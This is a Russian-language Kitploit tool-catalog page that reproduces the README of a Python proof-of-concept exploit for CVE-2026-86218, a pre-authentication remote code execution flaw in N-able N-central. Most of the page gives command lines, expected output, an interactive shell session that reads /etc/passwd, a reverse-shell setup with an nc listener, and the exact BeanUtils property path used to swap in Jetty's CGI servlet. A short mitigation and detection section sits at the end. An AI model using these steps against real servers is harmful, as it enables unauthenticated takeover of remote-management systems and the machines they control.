Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-86218 — Python 3 proof-of-concept эксплойт для CVE-2026-86218 — pre-auth RCE в N-able N-central через состояние гонки в multipart-обработке Struts, с поддержкой выполнения команд и reverse shell. | Kitploit
Инструменты/GitHubGitHub/super-meuw/cve-2026-86218
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на ПроникновениеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubsuper-meuw/cve-2026-86218

CVE-2026-86218

Python 3 proof-of-concept эксплойт для CVE-2026-86218 — pre-auth RCE в N-able N-central через состояние гонки в multipart-обработке Struts, с поддержкой выполнения команд и reverse shell.

11 ч 45 мин назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-86218 - Эксплойт Pre-Auth RCE в N-able N-central

Обзор

Это proof-of-concept эксплойт на Python 3 для CVE-2026-86218 — критической уязвимости удалённого выполнения кода до аутентификации в N-able N-central.

Сведения об уязвимости:

  • CVE: CVE-2026-86218
  • Оценка CVSS: 10.0 (Критическая)
  • CWE: CWE-96 (Static Code Injection)
  • Уязвимые версии: N-central < 2026.3.1.14
  • Вектор атаки: Сетевой (без аутентификации)

Описание уязвимости

N-able N-central использует привязанную к сессии форму Struts в неаутентифицированном действии (/remoteControlAction.do). Два одновременных multipart-запроса могут вызвать состояние гонки в multipart-обработчике формы и раскрыть живую конфигурацию Jetty для заполнения свойств через Commons BeanUtils. Это позволяет атакующему:

  1. Заменить ленивый держатель сервлета N-central (например, LogRetrieval) на встроенный CGI-сервлет Jetty
  2. Настроить CGI-сервлет для выполнения произвольных команд через /bin/sh -s
  3. Отправлять команды через URL-маппинг заменённого сервлета

Требования

root@kitploit:~
pip install requests

Использование

Базовый синтаксис

root@kitploit:~
python3 CVE-2026-86218.py -t <target_url> [options]

Опции

ОпцияОписание
-t, --targetURL целевого N-central (например, https://192.168.1.100)
-c, --commandОдна команда для выполнения
-i, --interactiveИнтерактивный режим команд
--lhostIP слушателя для reverse shell
--lportПорт слушателя (по умолчанию: 4444)
--servletСервлет для замены: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet
--checkПроверить, уязвима ли цель
--no-verify-sslОтключить проверку SSL-сертификата
--timeoutТаймаут запроса (по умолчанию: 30s)
--race-delayЗадержка состояния гонки (по умолчанию: 0.35s)
-v, --verboseВключить подробный вывод

Примеры

1. Проверка уязвимости цели

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl

Ожидаемый вывод:

root@kitploit:~
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable

2. Выполнение одной команды

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl

Ожидаемый вывод:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)

3. Reverse Shell

Сначала запустите слушатель:

root@kitploit:~
nc -lvnp 4444

Запустите эксплойт:

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl

Ожидаемый вывод:

root@kitploit:~
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection

Вывод слушателя:

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)

4. Интерактивный режим

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl

Интерактивная сессия:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup

ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)

ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!

ncentral> exit

5. Использование другого сервлета

root@kitploit:~
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl

Опции сервлетов

СервлетОписаниеВлияние
LogRetrievalКонечная точка получения логов (по умолчанию)Наименее разрушительно, логи недоступны до перезапуска
FileTransferКонечная точка передачи файловНарушает функциональность передачи файлов
AutomationManagerDownloadServletЗагрузка менеджера автоматизацииТребует порт интерфейса управления (8443)

Как это работает

Поток эксплуатации

  1. Проверка версии: Запрос к /remoteControlAction.do для извлечения версии со страницы ошибки
  2. Получение сессии: Получение неаутентифицированного JSESSIONID
  3. Состояние гонки:
    • Отправка медленного multipart-запроса, который приостанавливается во время парсинга
    • Пока запрос приостановлен, отправка вспомогательного запроса для установки обработчика в общую форму
    • Возобновление медленного запроса с полями инъекции свойств BeanUtils
  4. Замена сервлета: Замена LogRetrieval на CGI-сервлет Jetty
  5. Выполнение команд: Отправка команд через CGI-эндпоинт

Технические детали

Уязвимость эксплуатирует состояние гонки в обработке multipart-форм Struts:

  • Struts хранит один объект формы на HTTP-сессию
  • В начале multipart-запроса Struts удаляет multipart-обработчик формы
  • Медленный запрос приостанавливается, пока Struts всё ещё читает тело
  • Вспомогательный запрос завершается и устанавливает свой инициализированный обработчик
  • Когда медленный запрос продолжается, BeanUtils следует по сконструированным именам полей через обработчик
  • Эти поля достигают WebAppContext Jetty и заменяют держатель сервлета

Поля мутации используют пути свойств JavaBean:

root@kitploit:~
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass

Это проходит через: multipart-обработчик → контекст сервлета → загрузчик классов → WebAppContext → обработчик сервлетов → конкретный держатель

Меры защиты

  1. Немедленно установите патч: Обновитесь до N-central 2026.3.1.14 или новее
  2. Ограничьте доступ: Ограничьте входящий доступ к консоли N-central
  3. Сегментация сети: Разместите N-central за VPN или списком разрешённых IP
  4. Мониторинг логов: Проверяйте на подозрительную активность API и создание пользователей

Обнаружение

Индикаторы в логах

  • Необычные запросы к /remoteControlAction.do
  • Multipart-запросы с необычными именами полей
  • Активность, связанная с CGI, на эндпоинтах LogRetrieval
  • Неожиданное создание учётных записей пользователей

Сетевые индикаторы

  • Множественные быстрые запросы к одному эндпоинту
  • Большие multipart-полезные нагрузки
  • Подключения с необычных исходных IP

Ссылки

  • N-able Security Advisory
  • N-able Hotfix 4 Release Notes
  • Rapid7 Metasploit Module
  • Huntress Blog Post
  • CISA KEV Catalog

Отказ от ответственности

Этот эксплойт предоставлен исключительно для авторизованного тестирования безопасности и образовательных целей. Неавторизованное использование этого эксплойта против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения, является незаконным и неэтичным.

Всегда получайте надлежащее разрешение перед проведением работ по тестированию на проникновение.

Благодарности

  • Обнаружение уязвимости: N-able Security Team
  • Модуль Metasploit: sfewer-r7 (Rapid7)
  • Разработка эксплойта: на основе исследований Rapid7 и публичных рекомендаций
Скачать инструмент